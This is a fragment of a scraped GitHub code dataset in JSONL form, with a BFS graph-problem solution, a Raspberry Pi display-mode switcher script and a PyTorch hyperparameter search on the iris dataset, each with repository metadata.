8, "usage_type": "name"}, {"api_name": "threading.Thread.__init__", "line_number": 10, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 10, "usage_type": "name"}, {"api_name": "threading.Thread.join", "line_number": 20, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 20, "usage_type": "name"}, {"api_name": "os.getenv", "line_number": 32, "usage_type": "call"}, {"api_name": "asyncio.to_thread", "line_number": 44, "usage_type": "call"}, {"api_name": "asyncio.create_task", "line_number": 45, "usage_type": "call"}, {"api_name": "requests.Session", "line_number": 54, "usage_type": "call"}, {"api_name": "requests.Session", "line_number": 72, "usage_type": "call"}, {"api_name": "asyncio.run", "line_number": 83, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 86, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 89, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 97, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 102, "usage_type": "call"}]} +{"seq_id": "10084993022", "text": "import sys\nfrom collections import deque\ninput = sys.stdin.readline\n\nn = int(input())\nm = int(input())\ngraph = [[] for _ in range(n + 1)]\nvisited = [False] * (n + 1)\nq = deque()\n\nfor _ in range(m):\n a, b = map(int, input().split())\n\n graph[a].append(b)\n graph[b].append(a)\n\ndef bfs():\n q.append([1, 0])\n visited[1] = True\n ans = 0\n\n while q:\n v, cnt = q.popleft()\n\n if cnt <= 2:\n ans += 1\n\n for i in graph[v]:\n if not visited[i]:\n visited[i] = True\n q.append((i, cnt + 1))\n\n return ans - 1\n\nprint(bfs())", "repo_name": "vhzkclq0705/Algorithm_Problem_Solving", "sub_path": "BackJoon/CaseStudy/week5/5567.py", "file_name": "5567.py", "file_ext": "py", "file_size_in_byte": 600, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "sys.stdin", "line_number": 3, "usage_type": "attribute"}, {"api_name": "collections.deque", "line_number": 9, "usage_type": "call"}]} +{"seq_id": "566473840", "text": "#!/bin/python3\n# This script should allow the display output to be changed automatically\n# Will support extra parameters:\n# off - display off\n# on - display on\n# test - test display off and on\n# show - show details of current display\n# 1-10 - select a particular display\n# next - select the next display in the list\n# cycle - will slowly cycle through all the display options\n# pal - will switch to SDTV PAL\n# ntsc - will switch to SDTV NTSC\nimport curses\nimport time\nimport sys\nimport subprocess\nimport videomode\n\nDEBUG=True\nWAIT=5 #wait time between cycles\nKEY = {'NUM_0':48,'NUM_9':59,'ENTER':10,'ESC':27,'q':113,'c':99,'s':115,'o':111,'h':104,'l':108,'k':107,'SPACE':32}\n\n\ndisplay_to_cmd = {'off':'-o',\n 'hdmi':'-p',\n 'hdmigood':'--explicit=\"DMT 35 HDMI\"',\n 'hdmibad':'--explicit=\"CEA 4 HDMI\"',\n 'pal':'--sdtvon=\"PAL 4:3\"',\n 'ntsc':'--sdtvon=\"NTSC 4:3\"',\n 'show':'-s',\n 'name':'-n',\n 'listcea':'--mode=\"CEA\"',\n 'listdmt':'--mode=\"DMT\"'}\n\ndisplay_order = ['hdmi','hdmibad','pal','ntsc','off']\nvideomodefile=\"/home/pi/bin/videomode.py\"\nindex=videomode.VIDEOMODE #Set starting index to zero\nprogram=\"/opt/vc/bin/tvservice\"\nprogram_refresh=\"fbset -depth 8\"\nprogram_refresh2=\"fbset -depth 16\"\n\ndef applyDisplay(display):\n '''Send the required command to change the display mode'''\n if DEBUG:print(\"CMD1:%s %s\\n\"%(program,display_to_cmd[display]))\n if DEBUG:print(\"CMD2:%s\\n\"%(program_refresh))\n commands = \"%s %s\"%(program,display_to_cmd[display])\n subprocess.call([commands],shell=True)\n subprocess.call([program_refresh],shell=True)\n subprocess.call([program_refresh2],shell=True)\n \ndef nextDisplay(change):\n '''Select the next (or previous) display mode in the list'''\n global index\n index += change #change the index as requested\n index %= len(display_order) #ensure index is set to correct range\n applyDisplay(display_order[index])\n\ndef setDisplay(index_in):\n '''Select the display mode directly from the available list'''\n global index\n #ensure index is set to correct range\n if ((index_in >= 0) & (index_in < len(display_order))):\n index = index_in #change the index as requested\n applyDisplay(display_order[index])\n else:\n print(\"Invalid option\\n\")\n\ndef listDisplayMode():\n '''List all the display modes supported'''\n print(\"Available display modes:\\n\")\n for i,mode in enumerate(display_order):\n print(\"%s:%s\\n\"%(i,mode))\n commands = \"%s %s\"%(program,display_to_cmd['name'])\n subprocess.call([commands],shell=True)\n commands = \"%s %s\"%(program,display_to_cmd['listdmt'])\n subprocess.call([commands],shell=True)\n commands = \"%s %s\"%(program,display_to_cmd['listcea'])\n subprocess.call([commands],shell=True)\n \n\ndef saveDisplayMode():\n '''Store the current index as VIDEOMODE in videomode.py'''\n print(\"Saving video mode:%s\\n\"%(index))\n try:\n with open(videomodefile,'w') as f_out:\n f_out.writelines(\"VIDEOMODE=%s\"%(index))\n except IOError:\n print(\"Unable to open %s\\n\" %(videomodefile))\n\ndef showHelp():\n print(\"Switch Video Modes\\n\")\n print(\"==================\\n\")\n print(\"Enter - show details of current display mode\\n\")\n print(\"1-9 - select specific display mode\\n\")\n print(\"0/Space - switch display off\\n\")\n print(\"Left/Right - select previous/next display mode\\n\")\n print(\"c - Cycle through each display mode\\n\")\n print(\"l - list available display modes\\n\")\n print(\"s - save current mode\\n\")\n print(\"q/ESC - Exit\\n\")\n print(\"h - this help\\n\")\n print(\"Current video mode:%s\\n\"%(index))\n\n\ndef main():\n '''Allow selection of the required display mode via the keyboard'''\n curses.noecho()\n curses.cbreak()\n stdscr.keypad(True)\n\n while True:\n c=stdscr.getch()\n if c > 0:\n if DEBUG:print(\"TEST %s\\n\"%c)\n if c == KEY[\"q\"]:\n break\n elif c == KEY[\"ESC\"]:\n break\n elif c == curses.KEY_RIGHT:\n if DEBUG:print(\"Right\\n\")\n nextDisplay(1)\n elif c == curses.KEY_LEFT:\n if DEBUG:print(\"Left\\n\")\n nextDisplay(-1)\n elif ((c > KEY[\"NUM_0\"]) & (c <= KEY[\"NUM_9\"])): #1-9\n if DEBUG:print(\"number\\n\")\n setDisplay(c-(KEY[\"NUM_0\"]+1)) #Modes are indexed from 0\n elif c == KEY[\"NUM_0\"]:\n if DEBUG:print(\"0\\n\")\n applyDisplay(\"off\")\n elif c == KEY[\"ENTER\"]:\n if DEBUG:print(\"Enter\\n\")\n applyDisplay(\"show\")\n elif c == KEY[\"s\"]:\n if DEBUG:print(\"s\\n\")\n saveDisplayMode()\n elif c == KEY[\"l\"]:\n if DEBUG:print(\"l\\n\")\n listDisplayMode()\n elif c == KEY[\"o\"]:\n if DEBUG:print(\"o\\n\")\n applyDisplay(\"off\")\n elif c == KEY[\"SPACE\"]:\n if DEBUG:print(\"space\\n\")\n applyDisplay(\"off\")\n elif c == KEY[\"h\"]:\n if DEBUG:print(\"h\\n\")\n showHelp()\n elif c == KEY[\"c\"]:\n if DEBUG:print(\"cycle\\n\")\n for mode in display_order:\n if DEBUG:print(\"next\\n\")\n applyDisplay(mode)\n time.sleep(WAIT)\n if DEBUG:print(\"cycle done\\n\")\n\nif __name__==\"__main__\":\n #Check for command line args\n if len(sys.argv) > 1:\n if DEBUG:print(\"CMDLine Mode: %s\"%(sys.argv))\n for i,cmd in enumerate(sys.argv):\n if i != 0:\n if cmd == \"next\":\n if DEBUG:print(\"next\")\n nextDisplay(1)\n elif cmd == \"prev\":\n if DEBUG:print(\"prev\")\n nextDisplay(-1)\n saveDisplayMode()\n else:\n #Initialise curses for keyboard inputs\n stdscr = curses.initscr()\n try:\n main()\n finally:\n '''Perform clean up operations at end of program'''\n curses.echo()\n curses.cbreak()\n stdscr.keypad(False)\n curses.endwin()\n#End\n", "repo_name": "PiHw/Pi-Kitchen", "sub_path": "sdcard/pi-kitchen/016-display-switcher/bin/display_switcher.py", "file_name": "display_switcher.py", "file_ext": "py", "file_size_in_byte": 5904, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 28, "dataset": "github-code", "pt": "16", "api": [{"api_name": "videomode.VIDEOMODE", "line_number": 37, "usage_type": "attribute"}, {"api_name": "subprocess.call", "line_number": 47, "usage_type": "call"}, {"api_name": "subprocess.call", "line_number": 48, "usage_type": "call"}, {"api_name": "subprocess.call", "line_number": 49, "usage_type": "call"}, {"api_name": "subprocess.call", "line_number": 74, "usage_type": "call"}, {"api_name": "subprocess.call", "line_number": 76, "usage_type": "call"}, {"api_name": "subprocess.call", "line_number": 78, "usage_type": "call"}, {"api_name": "curses.noecho", "line_number": 107, "usage_type": "call"}, {"api_name": "curses.cbreak", "line_number": 108, "usage_type": "call"}, {"api_name": "curses.KEY_RIGHT", "line_number": 119, "usage_type": "attribute"}, {"api_name": "curses.KEY_LEFT", "line_number": 122, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 154, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 159, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 160, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 161, "usage_type": "attribute"}, {"api_name": "curses.initscr", "line_number": 172, "usage_type": "call"}, {"api_name": "curses.echo", "line_number": 177, "usage_type": "call"}, {"api_name": "curses.cbreak", "line_number": 178, "usage_type": "call"}, {"api_name": "curses.endwin", "line_number": 180, "usage_type": "call"}]} +{"seq_id": "71426964808", "text": "# Taken from SCAI assignment\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport torch\nimport random\nimport torch.nn as nn\nfrom sklearn.datasets import load_iris\nfrom sklearn.model_selection import train_test_split\n\n\n# Try model with iris data set\niris = load_iris()\nparameters = torch.tensor(iris.data)\nparameters = parameters.to(torch.float32)\n\ntarget = torch.tensor(iris.target)\ntarget = target.to(torch.float32)\ntarget = target[:, None]\n\nirisTrainX, irisTestX, irisTrainY, irisTestY = train_test_split(parameters, target, test_size=0.3)\n\n# All vars to change in the reinforcement learning\n\n#The following all have to do with number of layers\nnumHiddenLayers = 10; # Must be in b/t 0 and 10 inclusive\n#Layeractivations\nlayerIndices = [1 for x in range (0, 10)] # Must stay between 1 and 22\nactivationOptions = [nn.Identity(), nn.ELU(), nn.Hardshrink(), nn.Hardsigmoid(), nn.Hardtanh(), nn.Hardswish(), \n nn.LeakyReLU(), nn.LogSigmoid(), nn.PReLU(), nn.ReLU(), nn.ReLU6(), nn.RReLU(),\n nn.SELU(), nn.CELU(), nn.GELU(), nn.Sigmoid(), nn.SiLU(), nn.Mish(), nn.Softplus(), \n nn.Softshrink(), nn.Softsign(), nn.Tanh(), nn.Tanhshrink(), nn.GLU()]\n#Lengths of layers\nlayerLengths = [5 for x in range(0, 10)]; # Must stay above 1\n\nlossIndex = 1 # b/t 0 and 21\nlossOptions = [nn.L1Loss(), nn.MSELoss(), nn.CrossEntropyLoss(), nn.CTCLoss(), nn.NLLLoss(), \n nn.PoissonNLLLoss(), nn.GaussianNLLLoss(), nn.KLDivLoss(), nn.BCELoss(), \n nn.BCEWithLogitsLoss(), nn.MarginRankingLoss(), nn.HingeEmbeddingLoss(), \n nn.MultiLabelMarginLoss(), nn.HuberLoss(), nn.SmoothL1Loss(), nn.SoftMarginLoss(), \n nn.MultiLabelSoftMarginLoss(), nn.CosineEmbeddingLoss(), nn.MultiMarginLoss(), \n nn.TripletMarginLoss(), nn.TripletMarginWithDistanceLoss()]\n\nepochs = 300 # b/t 10 and 300\nlearningRate = 0.001; # Must be b/t 0.001 and 0.1\noptimNum = 0; # 0-12\n\n#Ran every time to create the NN model based off of above\ndef makeAndTestNN():\n\n activationFunctions = [\n activationOptions[layerIndices[0]], \n activationOptions[layerIndices[1]], \n activationOptions[layerIndices[2]], \n activationOptions[layerIndices[3]], \n activationOptions[layerIndices[4]], \n activationOptions[layerIndices[5]], \n activationOptions[layerIndices[6]], \n activationOptions[layerIndices[7]], \n activationOptions[layerIndices[8]], \n activationOptions[layerIndices[9]]\n ]\n\n openingLayer = nn.Linear(len(irisTrainX[0]), layerLengths[0])\n layers = [ nn.Linear(layerLengths[x], layerLengths[x+1]) for x in range(0, 9) ]\n finalLayer = nn.Linear(layerLengths[9], 3)\n \n #For getting the final output (3 options)\n finalActivation = nn.Softmax(dim=1)\n\n #Turning any layers into identity activations if we want it to be shorter\n for i in range(numHiddenLayers, 9):\n layers[i] = activationOptions[0]\n for i in range(numHiddenLayers, 10):\n activationFunctions[i] = activationOptions[0]\n\n model = nn.Sequential(\n openingLayer,\n activationFunctions[0],\n layers[0],\n activationFunctions[1],\n layers[1],\n activationFunctions[2],\n layers[2],\n activationFunctions[3],\n layers[3],\n activationFunctions[4],\n layers[4],\n activationFunctions[5],\n layers[5],\n activationFunctions[6],\n layers[6],\n activationFunctions[7],\n layers[7],\n activationFunctions[8],\n layers[8],\n activationFunctions[9],\n finalLayer,\n finalActivation\n )\n\n if (optimNum == 0):\n optimFunc = torch.optim.Adadelta(model.parameters(), lr = learningRate)\n elif (optimNum == 1):\n optimFunc = torch.optim.Adagrad(model.parameters(), lr = learningRate)\n elif (optimNum == 2):\n optimFunc = torch.optim.Adam(model.parameters(), lr = learningRate)\n elif (optimNum == 3):\n optimFunc = torch.optim.AdamW(model.parameters(), lr = learningRate)\n elif (optimNum == 4):\n optimFunc = torch.optim.SparseAdam(model.parameters(), lr = learningRate)\n elif (optimNum == 5):\n optimFunc = torch.optim.Adamax(model.parameters(), lr = learningRate)\n elif (optimNum == 6):\n optimFunc = torch.optim.ASGD(model.parameters(), lr = learningRate)\n elif (optimNum == 7):\n optimFunc = torch.optim.LBFGS(model.parameters(), lr = learningRate)\n elif (optimNum == 8):\n optimFunc = torch.optim.NAdam(model.parameters(), lr = learningRate)\n elif (optimNum == 9):\n optimFunc = torch.optim.RAdam(model.parameters(), lr = learningRate)\n elif (optimNum == 10):\n optimFunc = torch.optim.RMSprop(model.parameters(), lr = learningRate)\n elif (optimNum == 11):\n optimFunc = torch.optim.Rprop(model.parameters(), lr = learningRate)\n elif (optimNum == 11):\n optimFunc = torch.optim.SGD(model.parameters(), lr = learningRate)\n\n losses = []\n for e in range(epochs):\n predY = model(irisTrainX)\n loss = lossOptions[lossIndex](predY, irisTrainY)\n losses.append(loss.item())\n\n model.zero_grad()\n loss.backward()\n optimFunc.step()\n\n # PredY = predicted Y values\n predY = model(irisTestX)\n\n\n #Takes model and tries it with test values to see how well it did\n numRight = 0\n numWrong = 0\n\n for index in range(0,len(predY)):\n currentMax = 0\n currentChoice = 0\n for option in range(0,3):\n if predY[index][option] > currentMax:\n currentMax = predY[index][option]\n currentChoice = option\n \n if currentChoice == irisTestY[index]:\n numRight += 1\n else:\n numWrong += 1\n\n return (numRight/(numWrong+numRight))\n\n# Determines which of the bests should be used as base\ndef bestIndex():\n test = random.randrange(0, 6)\n if test > 2:\n choice = 0\n elif test > 0:\n choice = 1\n else:\n choice = 2\n return choice\n\n# Decides if optimizer should be changed\ndef optimChanger(frequency = 7):\n test = random.randrange(0, 10)\n if test > frequency:\n return bestOptimNums[bestIndex()]\n else:\n return random.randrange(0,13)\n\n# Decides if activation should be changed\ndef activationChanger(frequency = 7):\n test = random.randrange(0, 10)\n if test > frequency:\n return bestLayerIndices[bestIndex()][5]\n else:\n return random.randrange(1,24)\n\n# Things to change : \n# Epochs 10-300 int\nepochs = 300\n# Num layers 0-10 int\nnumHiddenLayers = 10\n# Length of layers 1-? length of 11\nlayerLengths = [10 for x in range(0, 10)] \n# Learning Rate 0.1-0.001 int\nlearningRate = 0.01\n# optimizer 0-12 int \noptimNum = 0\n# activation options 1-23, length of 10\nlayerIndices = [9 for x in range (0, 10)]\n\n# Tracks how well it's doing overtime\nimprovement = [0] * 10\n\n# Best numbers from current run in temp, then moved to best for next run\nbestEpochs = [epochs, epochs, epochs]\nbestTempEpochs = [epochs, epochs, epochs]\n\nbestNumHiddenLayers = [numHiddenLayers, numHiddenLayers, numHiddenLayers]\nbestTempNumHiddenLayers = [numHiddenLayers, numHiddenLayers, numHiddenLayers]\n\nbestlearningRates = [learningRate, learningRate, learningRate]\nbestTemplearningRates = [learningRate, learningRate, learningRate]\n\nbestOptimNums = [optimNum, optimNum, optimNum]\nbestTempOptimNums = [optimNum, optimNum, optimNum]\n\nbestLayerIndices = [[0]*10]*3\nfor place in range(len(bestLayerIndices)):\n for layer in range(len(layerIndices)):\n bestLayerIndices[place][layer] = layerIndices[layer]\nbestTempLayerIndices = [[0]*10]*3\nfor place in range(len(bestTempLayerIndices)):\n for layer in range(len(layerIndices)):\n bestTempLayerIndices[place][layer] = layerIndices[layer]\n\nbestLayerLengths = [[0]*10]*3\nfor place in range(len(bestLayerLengths)):\n for layer in range(len(layerLengths)):\n bestLayerLengths[place][layer] = layerLengths[layer]\nbestTempLayerLengths = [[0]*10]*3\nfor place in range(len(bestTempLayerLengths)):\n for layer in range(len(layerLengths)):\n bestTempLayerLengths[place][layer] = layerLengths[layer]\n\nbestResults = [0, 0, 0]\n\nnumzeros = 0\nnumones = 0\nnumtwos = 2\n\nfor j in range(0, 10):\n # Resets best results so it fills the best lists with all new values\n improvement[j] = (bestResults[0] + bestResults[1] + bestResults[2])/3\n bestResults = [0, 0, 0]\n for place in range(len(bestTempEpochs)):\n bestEpochs[place] = bestTempEpochs[place]\n bestNumHiddenLayers[place] = bestTempNumHiddenLayers[place]\n for layer in range(len(bestLayerLengths[0])):\n bestLayerLengths[place][layer] = bestTempLayerLengths[place][layer]\n bestlearningRates[place] = bestTemplearningRates[place]\n bestOptimNums[place] = bestTempOptimNums[place]\n for layer in range(len(bestLayerIndices[0])):\n bestLayerIndices[place][layer] = bestTempLayerIndices[place][layer]\n\n # 30 tries with small changes to the bests\n for i in range(0, 30):\n # Gets a weighted random of the bests, and then adds a small change to it\n # Changes how many epochs it uses\n epochs = max(10, min(300, bestEpochs[bestIndex()] + random.randint(-20, 20)))\n\n # Changes how many hidden layers there are\n numHiddenLayers = max(0, min(10, bestNumHiddenLayers[bestIndex()] + random.randint(-2, 2)))\n\n # # Changes which optimizer it uses\n # optimNum = max(0, min(12, optimChanger()))\n\n # Changes the learning rate\n learningRate = max(0.001 , min(0.1, bestlearningRates[bestIndex()] * (10**(random.random()-.5))))\n\n # Changes the layer activations\n # activation = max(1, min(22, activationChanger()))\n # for layer in range(0, len(layerIndices)):\n # layerIndices[layer] = activation\n \n # # Changes how long each layer is\n for layer in range(0, len(layerLengths)):\n layerLengths[layer] = max(0, min(10, bestLayerLengths[bestIndex()][layer] + random.randint(-2, 2)))\n\n # Runs the NN with current Settings\n try:\n results = makeAndTestNN()\n except:\n results = 0\n\n print(\"\")\n print(\"trial \" + str(i+1) + \"/10 of \" + str(j+1) + \"/10\")\n print(\"epochs : \" + str(epochs))\n print(\"numHiddenLayers : \" + str(numHiddenLayers))\n print(\"optimNums : \" + str(optimNum))\n print(\"learning rate : \" + str(learningRate))\n print(\"Layer activations : \" + str(layerIndices))\n print(\"Layer Lengths : \" + str(layerLengths))\n print(\"Results : \" + str(results))\n print(\"Current Bests : \" + str(bestResults))\n\n # Puts the results and params in the right place if it's better than previous ones\n if results > bestResults[0]:\n placerIndex = 0\n elif results > bestResults[1]:\n placerIndex = 1\n elif results > bestResults[2]:\n placerIndex = 2\n else:\n placerIndex = 3\n\n # Actually places the values into the best lists\n if placerIndex != 3:\n bestResults[placerIndex] = results\n bestTempEpochs[placerIndex] = epochs\n bestTempNumHiddenLayers[placerIndex] = numHiddenLayers\n bestTempOptimNums[placerIndex] = optimNum\n bestTemplearningRates[placerIndex] = learningRate\n for layer in range(len(layerIndices)):\n bestTempLayerIndices[placerIndex][layer] = layerIndices[layer]\n for layer in range(len(layerLengths)):\n bestTempLayerLengths[placerIndex][layer] = layerLengths[layer]\n\n # Now does very drastic and big changes\n for i in range(0, 20):\n \n # Gets a weighted random of the bests, and then adds a small change to it\n # Changes how many epochs it uses\n epochs = max(10, min(300, bestEpochs[bestIndex()] + random.randint(-75, 75)))\n\n # Changes how many hidden layers there are\n numHiddenLayers = max(0, min(10, bestNumHiddenLayers[bestIndex()] + random.randint(-4, 4)))\n\n # # Changes which optimizer it uses\n # optimNum = max(0, min(12, optimChanger(4)))\n\n # Changes the learning rate\n learningRate = max(0.001 , min(0.1, bestlearningRates[bestIndex()] * (10**((random.random()-.5)*2))))\n\n # # Changes the layer activations\n # activation = max(1, min(22, activationChanger(4)))\n # for layer in range(0, len(layerIndices)):\n # layerIndices[layer] = activation\n \n # Changes how long each layer is\n for layer in range(0, len(layerLengths)):\n layerLengths[layer] = max(0, min(10, bestLayerLengths[bestIndex()][layer] + random.randint(-4, 4)))\n\n # Runs the NN with current Settings\n try:\n results = makeAndTestNN()\n except:\n results = 0\n print(\"\")\n print(\"trial \" + str(i+30) + \"/10 of \" + str(j+1) + \"/10\")\n print(\"epochs : \" + str(epochs))\n print(\"numHiddenLayers : \" + str(numHiddenLayers))\n print(\"optimNums : \" + str(optimNum))\n print(\"learning rate : \" + str(learningRate))\n print(\"Layer activations : \" + str(layerIndices))\n print(\"Layer Lengths : \" + str(layerLengths))\n print(\"Results : \" + str(results))\n print(\"Current Bests : \" + str(bestResults))\n\n # Puts the results and params in the right place if it's better than previous ones\n if results > bestResults[0]:\n placerIndex = 0\n elif results > bestResults[1]:\n placerIndex = 1\n elif results > bestResults[2]:\n placerIndex = 2\n else:\n placerIndex = 3\n\n if placerIndex != 3:\n bestResults[placerIndex] = results\n bestTempEpochs[placerIndex] = epochs\n bestTempNumHiddenLayers[placerIndex] = numHiddenLayers\n bestTempOptimNums[placerIndex] = optimNum\n bestTemplearningRates[placerIndex] = learningRate\n for layer in range(len(layerIndices)):\n bestTempLayerIndices[placerIndex][layer] = layerIndices[layer]\n for layer in range(len(layerLengths)):\n bestTempLayerLengths[placerIndex][layer] = layerLengths[layer]\n\nprint(improvement)\n \n\n\n\n", "repo_name": "Bamboozle-jpg/SCAInoLimit", "sub_path": "Spring2023/testBaseModel.py", "file_name": "testBaseModel.py", "file_ext": "py", "file_size_in_byte": 14308, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "sklearn.datasets.load_iris", "line_number": 13, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 14, "usage_type": "call"}, {"api_name": "torch.float32", "line_number": 15, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 17, "usage_type": "call"}, {"api_name": "torch.float32", "line_number": 18, "usage_type": "attribute"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 21, "usage_type": "call"}, {"api_name": "torch.nn.Identity", "line_number": 29, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 29, "usage_type": "name"}, {"api_name": "torch.nn.ELU", "line_number": 29, "usage_type": "call"}, {"api_name": "torch.nn.Hardshrink", "line_number": 29, "usage_type": "call"}, {"api_name": "torch.nn.Hardsigmoid", "line_number": 29, "usage_type": "call"}, {"api_name": "torch.nn.Hardtanh", "line_number": 29, "usage_type": "call"}, {"api_name": "torch.nn.Hardswish", "line_number": 29, "usage_type": "call"}, {"api_name": "torch.nn.LeakyReLU", "line_number": 30, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 30, "usage_type": "name"}, {"api_name": "torch.nn.LogSigmoid", "line_number": 30, "usage_type": "call"}, {"api_name": "torch.nn.PReLU", "line_number": 30, "usage_type": "call"}, {"api_name": "torch.nn.ReLU", "line_number": 30, "usage_type": "call"}, {"api_name": "torch.nn.ReLU6", "line_number": 30, "usage_type": "call"}, {"api_name": "torch.nn.RReLU", "line_number": 30, "usage_type": "call"}, {"api_name": "torch.nn.SELU", "line_number": 31, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 31, "usage_type": "name"}, {"api_name": "torch.nn.CELU", "line_number": 31, "usage_type": "call"}, {"api_name": "torch.nn.GELU", "line_number": 31, "usage_type": "call"}, {"api_name": "torch.nn.Sigmoid", "line_number": 31, "usage_type": "call"}, {"api_name": "torch.nn.SiLU", "line_number": 31, "usage_type": "call"}, {"api_name": "torch.nn.Mish", "line_number": 31, "usage_type": "call"}, {"api_name": "torch.nn.Softplus", "line_number": 31, "usage_type": "call"}, {"api_name": "torch.nn.Softshrink", "line_number": 32, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 32, "usage_type": "name"}, {"api_name": "torch.nn.Softsign", "line_number": 32, "usage_type": "call"}, {"api_name": "torch.nn.Tanh", "line_number": 32, "usage_type": "call"}, {"api_name": "torch.nn.Tanhshrink", "line_number": 32, "usage_type": "call"}, {"api_name": "torch.nn.GLU", "line_number": 32, "usage_type": "call"}, {"api_name": "torch.nn.L1Loss", "line_number": 37, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 37, "usage_type": "name"}, {"api_name": "torch.nn.MSELoss", "line_number": 37, "usage_type": "call"}, {"api_name": "torch.nn.CrossEntropyLoss", "line_number": 37, "usage_type": "call"}, {"api_name": "torch.nn.CTCLoss", "line_number": 37, "usage_type": "call"}, {"api_name": "torch.nn.NLLLoss", "line_number": 37, "usage_type": "call"}, {"api_name": "torch.nn.PoissonNLLLoss", "line_number": 38, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 38, "usage_type": "name"}, {"api_name": "torch.nn.GaussianNLLLoss", "line_number": 38, "usage_type": "call"}, {"api_name": "torch.nn.KLDivLoss", "line_number": 38, "usage_type": "call"}, {"api_name": "torch.nn.BCELoss", "line_number": 38, "usage_type": "call"}, {"api_name": "torch.nn.BCEWithLogitsLoss", "line_number": 39, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 39, "usage_type": "name"}, {"api_name": "torch.nn.MarginRankingLoss", "line_number": 39, "usage_type": "call"}, {"api_name": "torch.nn.HingeEmbeddingLoss", "line_number": 39, "usage_type": "call"}, {"api_name": "torch.nn.MultiLabelMarginLoss", "line_number": 40, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 40, "usage_type": "name"}, {"api_name": "torch.nn.HuberLoss", "line_number": 40, "usage_type": "call"}, {"api_name": "torch.nn.SmoothL1Loss", "line_number": 40, "usage_type": "call"}, {"api_name": "torch.nn.SoftMarginLoss", "line_number": 40, "usage_type": "call"}, {"api_name": "torch.nn.MultiLabelSoftMarginLoss", "line_number": 41, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 41, "usage_type": "name"}, {"api_name": "torch.nn.CosineEmbeddingLoss", "line_number": 41, "usage_type": "call"}, {"api_name": "torch.nn.MultiMarginLoss", "line_number": 41, "usage_type": "call"}, {"api_name": "torch.nn.TripletMarginLoss", "line_number": 42, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 42, "usage_type": "name"}, {"api_name": "torch.nn.TripletMarginWithDistanceLoss", "line_number": 42, "usage_type": "call"}, {"api_name": "torch.nn.Linear", "line_number": 64, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 64, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 65, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 65, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 66, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 66, "usage_type": "name"}, {"api_name": "torch.nn.Softmax", "line_number": 69, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 69, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 77, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 77, "usage_type": "name"}, {"api_name": "torch.optim.Adadelta", "line_number": 103, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 103, "usage_type": "attribute"}, {"api_name": "torch.optim.Adagrad", "line_number": 105, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 105, "usage_type": "attribute"}, {"api_name": "torch.optim.Adam", "line_number": 107, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 107, "usage_type": "attribute"}, {"api_name": "torch.optim.AdamW", "line_number": 109, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 109, "usage_type": "attribute"}, {"api_name": "torch.optim.SparseAdam", "line_number": 111, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 111, "usage_type": "attribute"}, {"api_name": "torch.optim.Adamax", "line_number": 113, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 113, "usage_type": "attribute"}, {"api_name": "torch.optim.ASGD", "line_number": 115, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 115, "usage_type": "attribute"}, {"api_name": "torch.optim.LBFGS", "line_number": 117, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 117, "usage_type": "attribute"}, {"api_name": "torch.optim.NAdam", "line_number": 119, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 119, "usage_type": "attribute"}, {"api_name": "torch.optim.RAdam", "line_number": 121, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 121, "usage_type": "attribute"}, {"api_name": "torch.optim.RMSprop", "line_number": 123, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 123, "usage_type": "attribute"}, {"api_name": "torch.optim.Rprop", "line_number": 125, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 125, "usage_type": "attribute"}, {"api_name": "torch.optim.SGD", "line_number": 127, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 127, "usage_type": "attribute"}, {"api_name": "random.randrange", "line_number": 164, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 175, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 179, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 183, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 187, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 261, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 264, "usage_type": "call"}, {"api_name": "random.random", "line_number": 270, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 279, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 325, 